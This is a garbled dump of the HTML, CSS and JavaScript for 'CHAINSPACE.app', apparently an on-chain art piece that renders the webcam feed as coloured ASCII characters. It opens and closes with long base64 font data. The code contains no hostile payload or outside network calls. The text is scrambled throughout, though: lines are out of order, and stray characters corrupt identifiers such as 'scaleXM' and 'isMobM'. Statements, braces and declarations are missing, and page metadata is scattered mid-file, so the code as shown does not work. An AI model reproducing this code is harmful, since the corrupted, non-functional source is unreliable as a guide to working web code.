yl/31HCeRhl7YUav0JIC0m9WH9EhNTOVlIJG3wIzzALsOAXa8A4kwbkwlqAYkRTpX19m3RMWGAovLBDQUWRE7NHqXYIlTSwDOzdVeIhA3eQ7ChQnp4dIXDr8P/TjzExAE8/A5Ru1Uoruy3jL/o1M9LFxtAwJ23lLldvlSvYYS3Dnu/EWiMRcfkngKVNp6lwIvFm0r6DhLYMuJAlYfJKFdDwKTnyZOctKO4tDoXZwlTh0GGMQ6lvVLJCHW4TmEJubyElITfQ5op3QvD6XQiHmw+xAX0z8B0I/puohSmvkJeFLtrpoQFUI3oxzWTR0sLWJEKoh1Uzfl0ji+neQC4A4pD4y3WkJDjIZAnZ/PHbc1tza2q1ubvFk1OReJAJVP3/I5TKrxwDA79hcVa/Q2MDAeCI7eGQUoB3LVjPBXRtZKupLZKf2qYjyQw4Ce64MMABHgB5vhE8yBgaH4OagABX3AEWUpJIKs+ChfjTnK1MkS/4ZaMiDTpNicAj2iynqwSNwWNtBzbCpM
CMREUPHbimpcHVlE9J5OyGczDlUKOwU1b2w6oA6n+KqjCn0et2Ep0THa0YnXFLyiGfFi4WLF/iRp9UMydH1rgDBTxYcBr9EzRfvRLse7Sw+ym9EChWjXMqwiFlXmCCcgEx3G7az5crZ9eAjy9e/sZXMOLHAai1xWI7NY1+IU+yDoa9giAd3EZvP7hPu4LVK2oEOlrFEXwCL8Tenfa+s2lnb0hNoycgsF9dHr8RICv3p1G4gCdS+Pv4E6R+ZvOUuLmhDGUUxK/MzZKdvNr6S+BRieITNIMiRl6Wma0URWMsigl0227iqlOUDPF52nkYDvbt2VC/g2Bzl6cKyAgLCKH0vID4ykfOZtkk8AE+SWyTh0ldvnFMgv0hYJ5JlGy45DxKrbYFTWbXKbRbyHre8uq/K/JyNOMI0eRthLIrWs3Hjg7Wc5Qp5YCnI1XzrsEszsLpj0BxYjcb3HOjsmqHgD9cyBI0Gm7XWs08pd0a4f4JM4tukcBmpa4LaQJz3mL8jAGzA8MbIWM
UQ2Fzic44NPjlbhFwKfNQpbA9S2n5HubAL2VwHCBpkWRMlxWPKC91hbzemWbAZQMuzJvX+GKIJOStroEa4OD+gZMc3V5eo1dk8xjZGA/zzc3FAGL53g/ceQUYKQB7pJqYSpRBQuxdewQE4sHeD9ePNlwfXiw9e6H/YiEVuheXYiYVj4yhkM6LyQN/9qHsy8Sp6DG8nAV8yYOp8E7uxROtAFTsoKkcGV5VZWdJpWqJo19Q+zUXaaIGU54K+LkaUWEV4o2zH+nGQfAJC0WdZk7QLPwY9sSF8TuEOEIyV7JuEtuLfggdaOgwSxaXcBlGvWW8unq1958uyTSLgdHl0BXJxLth6nkMuWbjEol7yet8fyV5chXpRF+pfhS6f1k9To+SYifXJcXj0Hb///5VAOOnwOAiDbP1TWh/Ghj3nQw8aciIPSmZWmPmcHaKC+aqhlfbpseR0scNYTu/8kqwG/TfDjllDFGm40ykc3Ktp054uJWR1SdWwQyUwyjZOcfz0YGKtiEj3MrM
q6Vm2UKqKYrmtR8zrkLACNmLuTSuBlVNf6qq7oXaVUykjh8qBcVxxSXpDpYRIXb+DI55xfnOeppEkFF4QU8xOWlELJhxHpAjuF5HH8ji0jYXT+GiM47Qbs2OPHUruRYNmOs21E5tGVzWPd6Xmx6k7gVvitke0XAJCCEHv6BnczWj9LqWNjOzBpX61QXu+3zPkeabuXXTi5vL1CkgSz3L1ASxuzWT7qNrP/HX8u5lDfv842+tlW4NqMVNq9/JX40K7hFJD0zzoH2iGDJRPzmqXj88DmaCPdjMnBJ2yDbrrwXnmCcLMZJEi8y4lkQqZe6CQUYH+0Gg+/Oa0HKPXyLB5exi+PMqDge88moevzuHxxk0jZG7ycqwCUg7X26XGz5B/3h9CP9e9GpQfpP4f9ZTAH3/989+XrJyajrmVtQ0cPmNRYY4FtrCNHRxDQkaNgiUaPEciU6g2tjQ6g2nHYttzuDy+QCgSOzg6SZylLq4yucJNqXL38PTy9vH1858ToM7m8oViqVyM
p1uqNZqvd6fb6g+FoPJnO5ovlar3BhDIu5FZ5fhBG2lgXJ2lG7n6nkbpevmPR/gUth2M4cZyuxjNq4wWJx5mukY6jbpxvv3TP0LsuuQvtya0KHvvlUMAPEd1QytsD07TNb2poSsz1r4rTOEu1sUjLqEKPPTt06NypNxDlGZcEM0Hyd+mY5j9Ly7+ZDx3G2TDQrkOnLn1161Ebp6mI+4bm7ASI9AkZQItWNbGodl3qLis+hDR20EwgmFpz1TSbqWjxuMHECNqUmwMmK5xAq7EC2mUczzPhhFspTFin8z/W3zGT8eI1yMd1WunQv5e9x123IAyahxOHLnAYELthn/SmYMpidAR9z7VYNpwnFjI5NJWy1XCDIZIWxVHdHDgmxyNDkyYrKjYXlcuMus2AwGMW9ovhVwZHs70lAAA=) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #000000;
    font-size: 16px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#1A1A1A", "#4C1A1E", "#73262D", "#9B313B", "#000000", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
        video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
= new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className =M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
  gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (e) => {
      running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
